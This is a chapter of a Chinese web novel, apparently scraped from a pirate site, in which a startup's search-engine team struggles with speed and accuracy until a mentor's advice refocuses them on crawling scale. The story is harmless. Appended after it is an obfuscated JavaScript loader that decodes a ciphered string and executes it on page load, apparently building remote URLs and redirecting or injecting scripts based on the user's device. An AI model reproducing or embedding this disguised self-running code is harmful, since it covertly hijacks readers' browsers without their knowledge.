第1745章 一句话点醒了贾瀞雯
一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!
第1745章一句话点醒了贾瀞雯(第1/2页)
办公室里安静得能听见服务器风扇转动的声音。
李明盯着屏幕,右手放在鼠标上。
他点了一下,屏幕中央的小沙漏开始转。
一秒,两秒,三秒……十秒过去了。
屏幕终于刷新,显示出一列结果。
“还是慢。”他叹了口气。
贾瀞雯站在他身后,看着那些搜索结果。
李明刚才输入的是“电脑价格”,出来的结果有七八条,但只有两条真正和电脑价格有关。
一条是电脑公司的介绍,另一条是去年的旧新闻。
剩下的,有一条是“电影《电脑奇侠》”,还有几条是其他完全不相关的内容。
“准确率多少?”贾瀞雯问。
张涛在另一台电脑前算了一下:“刚测了五十个关键词,只有十五个返回了有用结果。
准确率……百分之三十左右。”
会议室里一片沉默。
五个年轻人都在,脸上的表情都差不多——疲惫,还有点沮丧。
他们已经连续工作了两个月,做出了这个能跑起来的搜索引擎。
可效果实在不理想。
“速度呢?”贾瀞雯又问。
“平均响应时间十二秒。”王磊说,“最慢的一次等了半分钟。
这还只是在我们内网测试,如果放到真实的网络上,有延迟,有带宽限制,可能更慢。”
贾瀞雯点点头。
她走到白板前,看着上面密密麻麻的架构图。
爬虫、索引、分词、排序……每个模块都做了,每个模块都能工作,可组合起来就是这个结果。
“问题出在哪儿?”她问。
李明站起来,走到白板前:“首先是索引结构。
我们现在用的是最简单的倒排索引,但数据量一大,查询效率就低。
需要优化数据结构。”
张涛补充:“分词也有问题。
基于词典的方法太死板,很多新词、专业词切分不准。
比如‘奔腾处理器’,我们的词典里没有这个词,就切成‘奔腾’和‘处理器’,但用户可能搜‘奔腾处理器’整个词。”
“排名算法也不够聪明。”王磊说,“现在基本是按关键词出现次数排序,但这样很容易被垃圾页面钻空子。
一个页面堆满关键词,就能排到前面,可内容根本没价值。”
贾瀞雯听着,一条条记在本子上。
她知道这些技术问题,但她更知道另一个问题——时间。
钱花得比预期快。
服务器托管费、带宽费、团队工资……五百万已经用掉一百多万。
如果迟迟做不出像样的产品,后续资金压力会很大。
更关键的是信心。
团队的热情需要正反馈来维持,如果总是失败,再好的愿景也会磨灭。
“今天先到这里。”贾瀞雯合上本子,“大家回去休息吧,明天再想办法。”
年轻人们默默收拾东西离开。
贾瀞雯最后一个走,关了灯,锁了门。
回到租的公寓,已经是晚上十一点。
她没开灯,直接倒在沙发上。
窗外是北京的夜景,远处有霓虹灯闪烁。
她拿出手机,翻到陈浩的号码,犹豫了很久才拨出去。
电话响了七八声才接通。
“喂?”陈浩的声音带着睡意,“瀞雯?这么晚了。”
“浩哥,我……”贾瀞雯开口,声音有点哑,“我们今天测试了搜索引擎。”
“怎么样?”
“不太好。”贾瀞雯实话实说,“速度慢,平均要十几秒才有结果。
准确率低,只有百分之三十。
(本章未完,请点击下一页继续阅读)第1745章一句话点醒了贾瀞雯(第2/2页)
团队有点……泄气。”
她停顿了一下,继续说:“我也……压力有点大。
钱花得比预期快,效果却出不来。
我有时候想,是不是我能力不够,是不是换个懂技术的人来管会更好。”
电话那头安静了一会儿。
“瀞雯,”陈浩的声音清醒了一些,“你听我说。
首先,你做得很好。
从零到有,你们已经做出了能工作的搜索引擎,这本身就是突破。”
他的声音很温和:“速度慢,准确率低,这太正常了。
知道谷歌的第一版准确率多少吗?也差不多这个水平。
所有新技术都是从粗糙开始的。”
“可是……”贾瀞雯想说些什么。
“没有可是。”陈浩打断她,“你现在需要做的不是自责,是调整策略。”
贾瀞雯坐直身体:“怎么调整?”
“分阶段解决。”陈浩说,“速度和准确率是两个问题,不能同时解决。
我建议,先不管准确率,全力扩大收录量。”
“什么意思?”
“你们现在收录了多少网页?”陈浩问。
“一万左右。”
“太少了。”陈浩说,“一万个网页的搜索引擎,就像只有一百本书的图书馆,再好的检索系统也没用。
用户搜什么,你都可能没有。
所以第一要务,把收录量做上去。
十万,一百万,越多越好。”
贾瀞雯思考着:“可是收录量大了,速度不是更慢吗?”
“那是下一个阶段要解决的问题。”陈浩解释,“你先让用户能搜到东西,哪怕准确率只有百分之三十,但如果网页基数大,用户总能找到一些有用的。
有了这个基础,我们再优化算法,提高准确率。”
他顿了顿:“瀞雯,做产品不能追求完美。
尤其是创业阶段,先做出能用的东西,让用户先用上,再慢慢改进。
如果总想一步到位,可能永远走不出实验室。”
这句话点醒了贾瀞雯。
她想起陈浩之前说的——第一版可以粗糙,但要快。
“我懂了。”她说,“先解决有没有,再解决好不好的问题。”
“对。”陈浩笑了,“明天就这样跟团队说。
集中力量扩大爬虫规模,优化抓取效率,把收录量做上去。
至于速度和准确率,暂时放一放。”
电话打了半个多小时。
挂断时,贾瀞雯觉得心里踏实了很多。
她打开灯,拿出笔记本,开始写新的工作计划。
第二天开会,她把陈浩的策略传达给团队。
“陈总说,我们现阶段的目标是收录量。”贾瀞雯在白板上写下“十万网页”四个字,“三周时间,把收录量从一万做到十万。”
李明眼睛一亮:“这个思路对!现在我们总是纠结算法优化,但数据量太小,优化了也看不出效果。
先把数据堆上去,再谈怎么用好这些数据。”
张涛也点头:“爬虫部分其实可以改进。
我们现在是单线程抓取,太慢。
可以改多线程,同时抓多个页面。
还可以优化去重算法,减少重复抓取。”
“索引结构也要调整。”王磊说,“数据量大了,现在的结构肯定撑不住。
得设计新的存储方案。”
团队重新有了方向。
当天下午,他们就开始分工:李明负责优化爬虫,张涛改进索引结构,王磊和其他两人处理数据存储和服务器扩展。
【跪求礼物,免费的为爱发电也行!】
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();